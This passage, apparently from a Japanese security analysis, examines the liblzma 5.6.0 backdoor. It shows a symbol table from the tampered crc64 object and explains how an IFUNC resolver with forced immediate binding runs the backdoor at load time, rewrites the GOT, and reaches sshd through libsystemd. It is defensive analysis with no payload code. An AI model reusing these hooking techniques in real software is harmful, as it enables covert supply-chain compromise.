    32: 0000000000000000     0 SECTION LOCAL  DEFAULT   56 .text.hc_find_funa
    33: 0000000000000000     0 SECTION LOCAL  DEFAULT   57 .text.lzma_simple_props_encoda
    34: 0000000000000000     0 SECTION LOCAL  DEFAULT   59 .text.lzma_simple_x86_encoder_inia
    35: 0000000000000000     0 SECTION LOCAL  DEFAULT   61 .text.stream_decoder_mt_ena
    36: 0000000000000000     0 SECTION LOCAL  DEFAULT   63 .text.lzma_lz_encoder_memusaga
    37: 0000000000000000     0 SECTION LOCAL  DEFAULT   65 .text.lzma_block_buffer_bound63
    38: 0000000000000000     0 SECTION LOCAL  DEFAULT   66 .text.lzma_delta_decoder_inis
    39: 0000000000000000     0 SECTION LOCAL  DEFAULT   68 .text.lzma_delta_props_decodd
    40: 0000000000000000     0 SECTION LOCAL  DEFAULT   70 .text.microlzma_decoder_inia
    41: 0000000000000000     0 SECTION LOCAL  DEFAULT   72 .text.lz_encoder_prepara
    42: 0000000000000000     0 SECTION LOCAL  DEFAULT   74 .text.reverse_seez
    43: 0000000000000000     0 SECTION LOCAL  DEFAULT   76 .text.transfora
    44: 0000000000000000     0 SECTION LOCAL  DEFAULT   78 .text.lzma_next_filter_inia
    45: 0000000000000000     0 SECTION LOCAL  DEFAULT   80 .text.auto_decoder_iniz
    46: 0000000000000000     0 SECTION LOCAL  DEFAULT   82 .text.lzma_lzma_set_out_limia
    47: 0000000000000000     0 SECTION LOCAL  DEFAULT   84 .text.lzma_auto_decoda
    48: 0000000000000000     0 SECTION LOCAL  DEFAULT   86 .text.lzma_lzma_encoder_resea
    49: 0000000000000000     0 SECTION LOCAL  DEFAULT   88 .text.lzma_bufcpa
    50: 0000000000000000     0 SECTION LOCAL  DEFAULT   90 .text.lzma_check_finisa
    51: 0000000000000000     0 SECTION LOCAL  DEFAULT   92 .text.lzma_decoder_inia
    52: 0000000000000000     0 SECTION LOCAL  DEFAULT   94 .text.lzma_delta_coder_inia
    53: 0000000000000000     0 SECTION LOCAL  DEFAULT   96 .text.lzma_encoder_inia
    54: 0000000000000000     0 SECTION LOCAL  DEFAULT   97 .text.lzma_file_info_decodea
    55: 0000000000000000     0 SECTION LOCAL  DEFAULT   99 .text.lzma_filter_decoder_is_supportea
    56: 0000000000000000     0 SECTION LOCAL  DEFAULT  101 .text.lzma_lzma2_encoder_memusaga
    57: 0000000000000000     0 SECTION LOCAL  DEFAULT  103 .text.lzma_mf_bt4_fina
    58: 0000000000000000     0 SECTION LOCAL  DEFAULT  105 .text.lzma_stream_decoder_inia
    59: 0000000000000000     0 SECTION LOCAL  DEFAULT  107 .text.lzma_stream_flags_compara
    60: 0000000000000000     0 SECTION LOCAL  DEFAULT  109 .text.lzma_stream_header_encoda
    61: 0000000000000000     0 SECTION LOCAL  DEFAULT  111 .text.lzma_stream_header_encodb
    62: 0000000000000000     0 SECTION LOCAL  DEFAULT  112 .text.parse_delt1
    63: 0000000000000000     0 SECTION LOCAL  DEFAULT  114 .text.read_output_and_waia
    64: 0000000000000000     0 SECTION LOCAL  DEFAULT  116 .text.stream_decoder_memconfia
    65: 0000000000000000     0 SECTION LOCAL  DEFAULT  118 .text.lzma_delta_props_encoda
    66: 0000000000000000     0 SECTION LOCAL  DEFAULT  120 .text.lzma_filter_flags_decoda
    67: 0000000000000000     0 SECTION LOCAL  DEFAULT  122 .text.lzma_index_buffer_encoda
    68: 0000000000000000     0 SECTION LOCAL  DEFAULT  124 .text.lzma_index_encoder_inia
    69: 0000000000000000     0 SECTION LOCAL  DEFAULT  126 .text.lzma_index_stream_flaga
    70: 0000000000000000     0 SECTION LOCAL  DEFAULT  128 .text.lzma_index_iter_locata
    71: 0000000000000000     0 SECTION LOCAL  DEFAULT  130 .text.lzma_index_hash_inia
    72: 0000000000000000     0 SECTION LOCAL  DEFAULT  132 .text.lzma_lz_decoder_inia
    73: 0000000000000000     0 SECTION LOCAL  DEFAULT  134 .text.lzma_lzma_optimum_fasa
    74: 0000000000000000     0 SECTION LOCAL  DEFAULT  136 .text.microlzma_encoder_inia
    75: 0000000000000000     0 SECTION LOCAL  DEFAULT  138 .text.lzma_validate_chaia
    76: 0000000000000000     0 SECTION LOCAL  DEFAULT  140 .text.parse_optiona
    77: 0000000000000000     0 SECTION LOCAL  DEFAULT  141 .text.auto_decoder_inia
    78: 0000000000000000     0 SECTION LOCAL  DEFAULT  142 .text.bt_find_funa
    79: 0000000000000000     0 SECTION LOCAL  DEFAULT  143 .text.lzma_delta_encoder_inia
    80: 0000000000000000     0 SECTION LOCAL  DEFAULT  145 .text.lzma_easy_encodea
    81: 0000000000000000     0 SECTION LOCAL  DEFAULT  146 .text.lzma_block_decoder_inia
    82: 0000000000000000     0 SECTION LOCAL  DEFAULT  148 .text.lzma_block_encoder_updatd
    83: 0000000000000000     0 SECTION LOCAL  DEFAULT  149 .text.lzma_index_ena
    84: 0000000000000000     0 SECTION LOCAL  DEFAULT  150 .text.lzma_filters_copa
    85: 0000000000000000     0 SECTION LOCAL  DEFAULT  152 .text.lzma_index_dua
    86: 0000000000000000     0 SECTION LOCAL  DEFAULT  154 .text.length_encoder_resez
    87: 0000000000000000     0 SECTION LOCAL  DEFAULT  155 .text.stream_decoder_mt_get_progresz
    88: 0000000000000000     0 SECTION LOCAL  DEFAULT  157 .text.threads_stoz
    89: 0000000000000000     0 SECTION LOCAL  DEFAULT  159 .text.index_decoda
    90: 0000000000000000     0 SECTION LOCAL  DEFAULT  160 .text.index_encoda
    91: 0000000000000000     0 SECTION LOCAL  DEFAULT  162 .text.lzma_block_unpadded_siza
    92: 0000000000000000     0 SECTION LOCAL  DEFAULT  163 .text.lzma_rc_pricea
    93: 0000000000000000     0 SECTION LOCAL  DEFAULT  164 .text.stream_encoder_mt_iniz
    94: 0000000000000000     0 SECTION LOCAL  DEFAULT  165 .text.worker_stara
    95: 0000000000000000     0 SECTION LOCAL  DEFAULT  167 .text.bt_skip_funz
    96: 0000000000000000     0 SECTION LOCAL  DEFAULT  169 .text.lzma_coda
    97: 0000000000000000     0 SECTION LOCAL  DEFAULT  171 .text.parse_lzma10
    98: 0000000000000000     0 SECTION LOCAL  DEFAULT  173 .text.lzip_decoder_memconfia
    99: 0000000000000000     0 SECTION LOCAL  DEFAULT  175 .text.decode_buffez
   100: 0000000000000000     0 SECTION LOCAL  DEFAULT  177 .text.file_info_decoda
   101: 0000000000000000     0 SECTION LOCAL  DEFAULT  179 .text.lzma_index_stream_siza
   102: 0000000000000000     0 SECTION LOCAL  DEFAULT  181 .text.lzma_index_prealloa
   103: 0000000000000000     0 SECTION LOCAL  DEFAULT  183 .text.lzma_index_memusaga
   104: 0000000000000000     0 SECTION LOCAL  DEFAULT  185 .text.lzma_index_inia
   105: 0000000000000000     0 SECTION LOCAL  DEFAULT  187 .text.parse_lzma12z
   106: 0000000000000000     0 SECTION LOCAL  DEFAULT  189 .text._cpuid
   107: 0000000000000000     0 SECTION LOCAL  DEFAULT  190 .text._get_cpuia
   108: 0000000000000000     0 SECTION LOCAL  DEFAULT  192 .text._get_cpuid
   109: 0000000000000000     0 SECTION LOCAL  DEFAULT  194 .text.lzma_outq_inia
   110: 0000000000000000     0 SECTION LOCAL  DEFAULT  195 .text.simple_coder_updata
   111: 0000000000000000     0 SECTION LOCAL  DEFAULT  197 .text.lzma_lzma_encoder_inia
   112: 0000000000000000     0 SECTION LOCAL  DEFAULT  199 .text.lzma_memlimit_gea
   113: 0000000000000000     0 SECTION LOCAL  DEFAULT  201 .text.rc_read_inis
   114: 0000000000000000     0 SECTION LOCAL  DEFAULT  203 .text.lzma_check_inia
   115: 0000000000000000     0 SECTION LOCAL  DEFAULT  205 .text.lzma2_decoder_ena
   116: 0000000000000000     0 SECTION LOCAL  DEFAULT  207 .text.lzma_index_iter_rewina
   117: 0000000000000000     0 SECTION LOCAL  DEFAULT  209 .text.lzma_index_memusagz
   118: 0000000000000000     0 SECTION LOCAL  DEFAULT  210 .text.lzma_block_total_siza
   119: 0000000000000000     0 SECTION LOCAL  DEFAULT  212 .text.crc64_generic
   120: 0000000000000000     0 SECTION LOCAL  DEFAULT  214 .text.crc64_arch_optimized
   121: 0000000000000000     0 SECTION LOCAL  DEFAULT  216 .text.crc64_resolve
   122: 0000000000000000     0 SECTION LOCAL  DEFAULT  218 .rodata.MASK_TO_BIT_NUMBER0
   123: 0000000000000000     0 SECTION LOCAL  DEFAULT  219 .rodata.BRANCH_TABLE0
   124: 0000000000000000     0 SECTION LOCAL  DEFAULT  220 .rodata.get_literal_prica
   125: 0000000000000000     0 SECTION LOCAL  DEFAULT  222 .rodata.lzma2_decode
   126: 0000000000000000     0 SECTION LOCAL  DEFAULT  223 .rodata.lzma_lzma_encode
   127: 0000000000000000     0 SECTION LOCAL  DEFAULT  224 .rodata.lzma_lzma_encodd
   128: 0000000000000000     0 SECTION LOCAL  DEFAULT  225 .rodata.lzip_decode0
   129: 0000000000000000     0 SECTION LOCAL  DEFAULT  226 .rodata.crc64_clmul1
   130: 0000000000000000     0 SECTION LOCAL  DEFAULT  227 .rodata.lzma12_mf_mao.0
   131: 0000000000000000     0 SECTION LOCAL  DEFAULT  229 .rodata.rc_encode
   132: 0000000000000000     0 SECTION LOCAL  DEFAULT  231 .rodata.cst16
   133: 0000000000000000     0 SECTION LOCAL  DEFAULT  232 .eh_frame
   134: 0000000000000000     0 SECTION LOCAL  DEFAULT  234 .data
   135: 0000000000000000     0 SECTION LOCAL  DEFAULT  235 .data.rel.ro.filter_optmap.0
   136: 0000000000000000     0 SECTION LOCAL  DEFAULT  237 .data.rel.ro.lookup_filter.part.0
   137: 0000000000000000     0 SECTION LOCAL  DEFAULT  239 .data.rel.ro.decoders0
   138: 0000000000000000     0 SECTION LOCAL  DEFAULT  241 .data.rel.ro.encoders0
   139: 0000000000000000     0 SECTION LOCAL  DEFAULT  243 .bss
   140: 0000000000000000     0 SECTION LOCAL  DEFAULT  244 .bss.filter_optionz
   141: 0000000000000000     0 SECTION LOCAL  DEFAULT  245 .bss.lzma12_codez
   142: 0000000000000000     0 SECTION LOCAL  DEFAULT  246 .bss.__intr2
   143: 0000000000000000     0 SECTION LOCAL  DEFAULT  247 .comment
   144: 0000000000000000     0 SECTION LOCAL  DEFAULT  248 .note.GNU-stack
   145: 0000000000000000     0 SECTION LOCAL  DEFAULT  249 .debug_aranges
   146: 0000000000000000     0 SECTION LOCAL  DEFAULT  251 .debug_info
   147: 0000000000000000     0 SECTION LOCAL  DEFAULT  253 .debug_abbrev
   148: 0000000000000000     0 SECTION LOCAL  DEFAULT  254 .debug_line
   149: 0000000000000000     0 SECTION LOCAL  DEFAULT  256 .debug_str
   150: 0000000000000000     0 SECTION LOCAL  DEFAULT  257 .debug_line_str
   151: 0000000000000000     0 SECTION LOCAL  DEFAULT  258 .debug_loclists
   152: 0000000000000000     0 SECTION LOCAL  DEFAULT  260 .debug_rnglists
   153: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS liblzma_la-crc64-fast.o
   154: 0000000000000000    44 FUNC    LOCAL  HIDDEN    25 .Lstream_decode.1
   155: 0000000000000000    12 FUNC    LOCAL  HIDDEN    27 .Lparse_bcj.0
   156: 0000000000000000   181 FUNC    LOCAL  HIDDEN    19 .Llzma_properties_size.0
   157: 0000000000000000   758 FUNC    LOCAL  HIDDEN   130 .Llzma_index_hash_init.part.0
   158: 0000000000000000   619 FUNC    LOCAL  HIDDEN   120 .Llzma_filter_flags_decode.0
   159: 0000000000000000   131 FUNC    LOCAL  HIDDEN   162 .Llzma_block_unpadded_size.1
   160: 0000000000000000   158 FUNC    LOCAL  HIDDEN   171 .Lparse_lzma12.0
   161: 0000000000000000   327 FUNC    LOCAL  HIDDEN   175 .Ldecode_buffer.part.0
   162: 0000000000000000   141 FUNC    LOCAL  HIDDEN   181 .Llzma_index_prealloc.0
   163: 0000000000000000   630 FUNC    LOCAL  HIDDEN    32 .Lcrc_init.0
   164: 0000000000000000    31 FUNC    LOCAL  HIDDEN   203 .Llzma_check_init.part.0
   165: 0000000000000000     8 OBJECT  LOCAL  HIDDEN   223 .Lrc_read_destroy
   166: 0000000000000000    56 OBJECT  LOCAL  HIDDEN   241 .Lencoder.1
   167: 0000000000000000  1522 FUNC    LOCAL  HIDDEN   177 .Lfile_info_decode.0
   168: 0000000000000000     8 OBJECT  LOCAL  HIDDEN   244 .Lfilter_options.0
   169: 0000000000000000   195 FUNC    LOCAL  HIDDEN   169 .Llzma_code.part.1
   170: 0000000000000000   151 FUNC    LOCAL  HIDDEN   126 .Llzma_index_stream_flags.0
   171: 0000000000000000   110 FUNC    LOCAL  HIDDEN    99 .Llzma_filter_decoder_is_supported.part.0
   172: 0000000000000000    46 FUNC    LOCAL  HIDDEN    94 .Llzma_delta_coder_init.1
   173: 0000000000000000   173 FUNC    LOCAL  HIDDEN    51 .Llzip_decode.0
   174: 0000000000000000   122 FUNC    LOCAL  HIDDEN   167 .Lbt_skip_func.part.0
   175: 0000000000000000     8 OBJECT  LOCAL  HIDDEN   245 .Llzma12_coder.1
   176: 0000000000000000   236 FUNC    LOCAL  HIDDEN   160 .Lindex_encode.1
   177: 0000000000000000    79 FUNC    LOCAL  HIDDEN    21 .Lstream_encoder_mt_init.1
   178: 0000000000000000    30 FUNC    LOCAL  HIDDEN   207 .Llzma_index_iter_rewind.cold
   179: 0000000000000000    75 FUNC    LOCAL  HIDDEN     4 .Llzma_block_buffer_encode.0
   180: 0000000000000000   176 FUNC    LOCAL  HIDDEN   201 .Lrc_read_init.part.0
   181: 0000000000000000   389 FUNC    LOCAL  HIDDEN    39 .Lstream_encoder_update.1
   182: 0000000000000000    40 FUNC    LOCAL  HIDDEN    43 .Ldelta_coder_end.1
   183: 0000000000000000     8 OBJECT  LOCAL  HIDDEN   237 .Llookup_filter.part.0
   184: 0000000000000000    82 FUNC    LOCAL  HIDDEN    63 .Llzma_lz_encoder_memusage.1
   185: 0000000000000000    20 FUNC    LOCAL  HIDDEN   107 .Llzma_stream_flags_compare.1
   186: 0000000000000000   177 FUNC    LOCAL  HIDDEN   163 .Llzma_rc_prices.1
   187: 0000000000000000   111 FUNC    LOCAL  HIDDEN   197 .Llzma_lzma_encoder_init.0
   188: 0000000000000000   240 FUNC    LOCAL  HIDDEN     7 .Llzma2_encoder_init.1
   189: 0000000000000000    46 FUNC    LOCAL  HIDDEN   111 .Llzma_block_param_decoder.0
   190: 0000000000000000   114 FUNC    LOCAL  HIDDEN    66 .Llzma_delta_decoder_init.part.0
   191: 0000000000000000   294 FUNC    LOCAL  HIDDEN    49 .Lindex_tree_append.part.0
   192: 0000000000000000    19 FUNC    LOCAL  HIDDEN   112 .Lparse_delta.0
   193: 0000000000000000    11 FUNC    LOCAL  HIDDEN    36 .Linit_pric_table.part.1
   194: 00000000000000c0   174 FUNC    LOCAL  HIDDEN    11 .Llzma_filters_update.1
   195: 0000000000000000   178 FUNC    LOCAL  HIDDEN    15 .Llzma_mt_block_size.1
   196: 0000000000000000  1904 OBJECT  LOCAL  HIDDEN   226 .Lcrc64_clmul.1
   197: 0000000000000000    29 FUNC    LOCAL  HIDDEN    29 .Llzma_simple_props_size.part.0
   198: 0000000000000000   157 FUNC    LOCAL  HIDDEN    54 .Lauto_decode.1
   199: 0000000000000000   486 FUNC    LOCAL  HIDDEN    88 .Llzma_buf_cpy.0
   200: 0000000000000000    90 FUNC    LOCAL  HIDDEN    96 .Llzma_encoder_init.0
   201: 0000000000000000   123 FUNC    LOCAL  HIDDEN    84 .Llzma_auto_decode.1
   202: 0000000000000000   155 FUNC    LOCAL  HIDDEN   159 .Lindex_decode.1
   203: 0000000000000000   154 FUNC    LOCAL  HIDDEN    38 .Lstream_encoder_update.0
   204: 0000000000000000  1185 FUNC    LOCAL  HIDDEN    30 .Lget_literal_price.part.0
   205: 0000000000000000    82 FUNC    LOCAL  HIDDEN    61 .Lstream_decoder_mt_end.0
   206: 0000000000000000    30 FUNC    LOCAL  HIDDEN    57 .Llzma_simple_props_encode.1
   207: 0000000000000000    62 FUNC    LOCAL  HIDDEN    17 .Lstream_encode.1
   208: 0000000000000000    20 FUNC    LOCAL  HIDDEN   105 .Llzma_stream_decoder_init.1
   209: 0000000000000000    96 FUNC    LOCAL  HIDDEN   183 .Llzma_index_memusage.part.0
   210: 0000000000000000   112 FUNC    LOCAL  HIDDEN   185 .Llzma_index_init.0
   211: 0000000000000000   151 FUNC    LOCAL  HIDDEN    90 .Llzma_check_finish.0
   212: 0000000000000000    23 FUNC    LOCAL  HIDDEN   194 .Llz_stream_decode
   213: 0000000000000000     8 OBJECT  LOCAL  HIDDEN   222 .Lx86_coder_destroy
   214: 0000000000000000    95 FUNC    LOCAL  HIDDEN   209 .Llzma_index_memusage.0
   215: 0000000000000000   261 FUNC    LOCAL  HIDDEN   195 .Lsimple_coder_update.0
   216: 0000000000000000    90 FUNC    LOCAL  HIDDEN   101 .Llzma_lzma2_encoder_memusage.0
   217: 0000000000000000   428 FUNC    LOCAL  HIDDEN   103 .Llzma_mf_bt4_find.0
   218: 0000000000000000   407 FUNC    LOCAL  HIDDEN   157 .Lthreads_stop.0
   219: 0000000000000000     0 OBJECT  LOCAL  HIDDEN   229 .Llzma_block_uncomp_encode.0
   220: 0000000000000000   134 FUNC    LOCAL  HIDDEN   210 .Llzma_block_total_size.0
   221: 0000000000000000   196 FUNC    LOCAL  HIDDEN    56 .Lhc_find_func.1
   222: 0000000000000000  5940 FUNC    LOCAL  HIDDEN   136 .Lmicrolzma_encoder_init.1
   223: 0000000000000000   558 FUNC    LOCAL  HIDDEN   132 .Llzma_lz_decoder_init.0
   224: 0000000000000000  5216 OBJECT  LOCAL  HIDDEN   225 .Llzip_decode.1
   225: 0000000000000000  2783 FUNC    LOCAL  HIDDEN   173 .Llzip_decoder_memconfig.part.0
   226: 0000000000000000    43 FUNC    LOCAL  HIDDEN    45 .Ldelta_decode.part.0
   227: 0000000000000000   182 FUNC    LOCAL  HIDDEN   199 .Llzma_memlimit_get.1
   228: 0000000000000000   254 FUNC    LOCAL  HIDDEN   138 .Llzma_delta_props_encoder
   229: 0000000000000000   346 FUNC    LOCAL  HIDDEN   165 .Lworker_start.0
   230: 0000000000000000   126 FUNC    LOCAL  HIDDEN   164 .Lstream_encoder_mt_init.part.0
   231: 0000000000000000   118 FUNC    LOCAL  HIDDEN   122 .Llzma_index_buffer_encode.0
   232: 0000000000000000  1023 FUNC    LOCAL  HIDDEN   128 .Llzma_index_iter_locate.1
   233: 0000000000000000    32 OBJECT  LOCAL  HIDDEN   239 .Ldecoder.1
   234: 0000000000000000    48 FUNC    LOCAL  HIDDEN   154 .Llength_encoder_reset.0
   235: 0000000000000000   116 FUNC    LOCAL  HIDDEN    92 .Llzma_decoder_init.1
   236: 0000000000000000   850 FUNC    LOCAL  HIDDEN   187 .Llzma12_mode_map.part.1
   237: 0000000000000000   157 FUNC    LOCAL  HIDDEN    41 .Llz_encode.1
   238: 0000000000000000     8 OBJECT  LOCAL  HIDDEN   235 .Lfilter_optmap.0
   239: 0000000000000000  3485 FUNC    LOCAL  HIDDEN   179 .Llzma_index_stream_size.1
   240: 0000000000000000   151 FUNC    LOCAL  HIDDEN    23 .Llzma_simple_x86_decoder_init.1
   241: 0000000000000000    19 FUNC    LOCAL  HIDDEN   116 .Lstream_decoder_memconfig.part.1
   242: 0000000000000000   181 FUNC    LOCAL  HIDDEN    11 .Llzma_filters_update.0
   243: 0000000000000000   744 FUNC    LOCAL  HIDDEN   118 .Llzma_delta_props_encode.part.0
   244: 0000000000000000    45 FUNC    LOCAL  HIDDEN   205 .Llzma2_decoder_end.1
   245: 0000000000000000   174 FUNC    LOCAL  HIDDEN    47 .Llzma_check_update.0
   246: 0000000000000000   162 FUNC    LOCAL  HIDDEN     9 .Llzma_optimum_normal.0
   247: 0000000000000000    49 FUNC    LOCAL  HIDDEN    68 .Llzma_delta_props_decode.part.0
   248: 0000000000000000   162 FUNC    LOCAL  HIDDEN    13 .Llzma_raw_encoder.0
   249: 0000000000000000  1041 FUNC    LOCAL  HIDDEN   134 .Llzma_lzma_optimum_fast.0
   250: 0000000000000000    56 FUNC    LOCAL  HIDDEN   109 .Llzma_stream_header_encode.part.0
   251: 0000000000000074   104 FUNC    LOCAL  HIDDEN   190 .Llzma_block_param_encoder.0
   252: 0000000000000000     0 OBJECT  LOCAL  HIDDEN   227 .Llzma_block_buffer_decode.0
   253: 0000000000000000   384 FUNC    LOCAL  HIDDEN    53 .Lmicrolzma_decode.0
   254: 0000000000000000    43 FUNC    LOCAL  HIDDEN   114 .Llzma_delta_props_decoder
   255: 0000000000000000   198 FUNC    LOCAL  HIDDEN   155 .Lstream_decoder_mt_get_progress.0
   256: 0000000000000000   978 FUNC    LOCAL  HIDDEN   124 .Llzma_index_encoder_init.1
   257: 0000000000000000  2719 FUNC    LOCAL  HIDDEN     2 .Lx86_code.part.0
   258: 0000000000000000    48 FUNC    LOCAL  HIDDEN    34 .Lcrc64_generic.0
   259: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS <stdin>
   260: 0000000000000000   238 FUNC    LOCAL  DEFAULT  212 crc64_generic
   261: 0000000000000000   527 FUNC    LOCAL  DEFAULT  214 crc64_arch_optimized
   262: 0000000000000000   120 FUNC    LOCAL  DEFAULT  216 crc64_resolve
   263: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  231 .LC0
   264: 0000000000000010     0 NOTYPE  LOCAL  DEFAULT  231 .LC1
   265: 0000000000000020     0 NOTYPE  LOCAL  DEFAULT  231 .LC2
   266: 0000000000000030     0 NOTYPE  LOCAL  DEFAULT  231 .LC3
   267: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND lzma_check_init
   268: 0000000000000000     0 NOTYPE  GLOBAL HIDDEN   UND lzma_crc64_table
   269: 0000000000000000    96 FUNC    GLOBAL HIDDEN   192 _get_cpuid
   270: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND __stack_chk_fail
   271: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND __tls_get_addr
   272: 0000000000000000   120 IFUNC   GLOBAL DEFAULT  216 lzma_crc64
   273: 0000000000000000    31 FUNC    GLOBAL HIDDEN   189 _cpuid
   274: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND lzma_free
   275: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND lzma_alloc

make実行結果

通常のliblzma.so.5.6.0とバックドアが仕込まれたものの違いは、上記の変更された処理フローの内容です。_get_cpuid()関数が実行されることにより、バックドアの処理が実行されます。

変更点としては上記の通りですが、この時点での疑問点は以下が挙げられるかと思います。

  • _get_cpuid()関数実行の大元となるcrc64_resolve()関数はいつ実行されるのか
  • liblzma.so.5.6.0のバックドアがなぜsshdサービスの動作に影響を及ぼすのか

これらについては、次で説明いたします。

sshdからのバックドア処理実行まで

IFUNC機能

まず始めに、動作の理解に必要となるIFUNC機能について説明します。
IFUNCはGNUツールチェーンの機能で、リゾルバ関数を使用して実行時に使用する関数を選択することができます。複数の実装の中から、実行時のアーキテクチャに最適なものを選択したいような場合に使用されます。

xzの中では、以下の2か所でIFUNCが使用されており、lzma_crc32(), lzma_crc64()で使用する実装をそれぞれcrc32_resolve(), crc64_resolve()で決定する仕組みになっています。

./src/liblzma/check/crc32_fast.c
extern LZMA_API(uint32_t)
lzma_crc32(const uint8_t *buf, size_t size, uint32_t crc)
                __attribute__((__ifunc__("crc32_resolve")));
./src/liblzma/check/crc64_fast.c
extern LZMA_API(uint64_t)
lzma_crc64(const uint8_t *buf, size_t size, uint64_t crc)
                __attribute__((__ifunc__("crc64_resolve")));

__attribute__ ((...))というのがGCC拡張属性の文法で、その中の1機能であるifuncを定義しています。

変更された処理フローで説明したように、この関数はmake処理の中で改変されており、バックドア処理の入り口である_get_cpuid()関数が実行されることになります。

では、このリゾルバ関数がいつ実行されるかですが、通常のliblzma.so.5.6.0は下記のようにRELRO設定が「Partial RELRO」となっており、実際にその関数が呼ばれたときにリゾルバ関数が呼ばれて関数が解決されます(遅延バインド)。

通常のliblzma.so.5.6.0
$ checksec --file=src/liblzma/.libs/liblzma.so.5.6.0
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    DSO             No RPATH   No RUNPATH   543) Symbols      No    0         3               src/liblzma/.libs/liblzma.so.5.6.0

しかしconfigure【処理③】で見たように、make処理中のリンカオプションとして-Wl,-z,nowを設定することにより、遅延バインドを無効にしています。これにより、実行時ではなくライブラリロード時というかなり初期の段階でリゾルバ関数(バックドア処理)が実行されることになります。

バックドアが入ったliblzma.so.5.6.0
$ checksec --file=src/liblzma/.libs/liblzma.so.5.6.0
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable     FILE
Full RELRO      Canary found      NX enabled    DSO             No RPATH   No RUNPATH   547) Symbols      No    0         3               src/liblzma/.libs/liblzma.so.5.6.0

通常 Full RELRO になっている場合はGlobal Offset Table (GOT)が書き込み不可となり、GOT overwrite攻撃ができませんが、ライブラリロード時に実行することでバックドア処理の中でGOTの書き換えを行っております。

sshdからのliblzma参照

systemdを使用するようなディストリビューションでは、sshdの起動完了をsystemdに通知するために、以下のsystemd-readiness.patchようなパッチを適用しています。この中で使用されているsd_notify()関数を使用するのに、libsystemd.soが必要となります。

systemd-readiness.patch
From 1288d290f46c3c7dbdf4e52ddacdfe3d13fd5c5d Mon Sep 17 00:00:00 2001
From: Michael Biebl <biebl@debian.org>
Date: Mon, 21 Dec 2015 16:08:47 +0000
Subject: Add systemd readiness notification support

Bug-Debian: https://bugs.debian.org/778913
Forwarded: no
Last-Update: 2017-08-22

Patch-Name: systemd-readiness.patch
---
 configure.ac | 24 ++++++++++++++++++++++++
 sshd.c       |  9 +++++++++
 2 files changed, 33 insertions(+)

diff --git a/configure.ac b/configure.ac
index b01a266b6..06e254af7 100644
--- a/configure.ac
+++ b/configure.ac
@@ -4879,6 +4879,29 @@ AC_ARG_WITH([kerberos5],
 AC_SUBST([GSSLIBS])
 AC_SUBST([K5LIBS])

+# Check whether user wants systemd support
+SYSTEMD_MSG="no"
+AC_ARG_WITH(systemd,
+       [  --with-systemd          Enable systemd support],
+       [ if test "x$withval" != "xno" ; then
+               AC_PATH_TOOL([PKGCONFIG], [pkg-config], [no])
+               if test "$PKGCONFIG" != "no"; then
+                       AC_MSG_CHECKING([for libsystemd])
+                       if $PKGCONFIG --exists libsystemd; then
+                               SYSTEMD_CFLAGS=`$PKGCONFIG --cflags libsystemd`
+                               SYSTEMD_LIBS=`$PKGCONFIG --libs libsystemd`
+                               CPPFLAGS="$CPPFLAGS $SYSTEMD_CFLAGS"
+                               SSHDLIBS="$SSHDLIBS $SYSTEMD_LIBS"
+                               AC_MSG_RESULT([yes])
+                               AC_DEFINE(HAVE_SYSTEMD, 1, [Define if you want systemd support.])
+                               SYSTEMD_MSG="yes"
+                       else
+                               AC_MSG_RESULT([no])
+                       fi
+               fi
+       fi ]
+)
+
 # Looking for programs, paths and files

 PRIVSEP_PATH=/var/empty
@@ -5679,6 +5702,7 @@ echo "                   libldns support: $LDNS_MSG"
 echo "  Solaris process contract support: $SPC_MSG"
 echo "           Solaris project support: $SP_MSG"
 echo "         Solaris privilege support: $SPP_MSG"
+echo "                   systemd support: $SYSTEMD_MSG"
 echo "       IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG"
 echo "           Translate v4 in v6 hack: $IPV4_IN6_HACK_MSG"
 echo "                  BSD Auth support: $BSD_AUTH_MSG"
diff --git a/sshd.c b/sshd.c
index f7f9e27dd..72ea3dcbe 100644
--- a/sshd.c
+++ b/sshd.c
@@ -88,6 +88,10 @@
 #include <prot.h>
 #endif

+#ifdef HAVE_SYSTEMD
+#include <systemd/sd-daemon.h>
+#endif
+
 #include "xmalloc.h"
 #include "ssh.h"
 #include "ssh2.h"
@@ -2075,6 +2079,11 @@ main(int ac, char **av)
                        }
                }

+#ifdef HAVE_SYSTEMD
+               /* Signal systemd that we are ready to accept connections */
+               sd_notify(0, "READY=1");
+#endif
+
                /* Accept a connection and return in a forked child */
                server_accept_loop(&sock_in, &sock_out,
                    &newsock, config_s);

libsystemd.soはliblzma.so.5をリンクしているため、結果的にsshd実行時にliblzma.so.5中のバックドアのコードがsshdのメモリ空間にもロードされることになります。

ldd /lib/x86_64-linux-gnu/libsystemd.so.0
$ ldd /lib/x86_64-linux-gnu/libsystemd.so.0
        linux-vdso.so.1 (0x00007ffcf03eb000)
        liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff4643ba000)
        libzstd.so.1 => /lib/x86_64-linux-gnu/libzstd.so.1 (0x00007ff4642eb000)
        liblz4.so.1 => /lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff4642cb000)
        libcap.so.2 => /lib/x86_64-linux-gnu/libcap.so.2 (0x00007ff4642c0000)
        libgcrypt.so.20 => /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff464182000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff463f59000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ff4644b7000)
        libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff463f31000)
ldd /usr/sbin/sshd
$ ldd /usr/sbin/sshd
        linux-vdso.so.1 (0x00007ffc0bdf4000)
        libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007f0846b35000)
        libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007f0846b07000)
        libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f0846af5000)
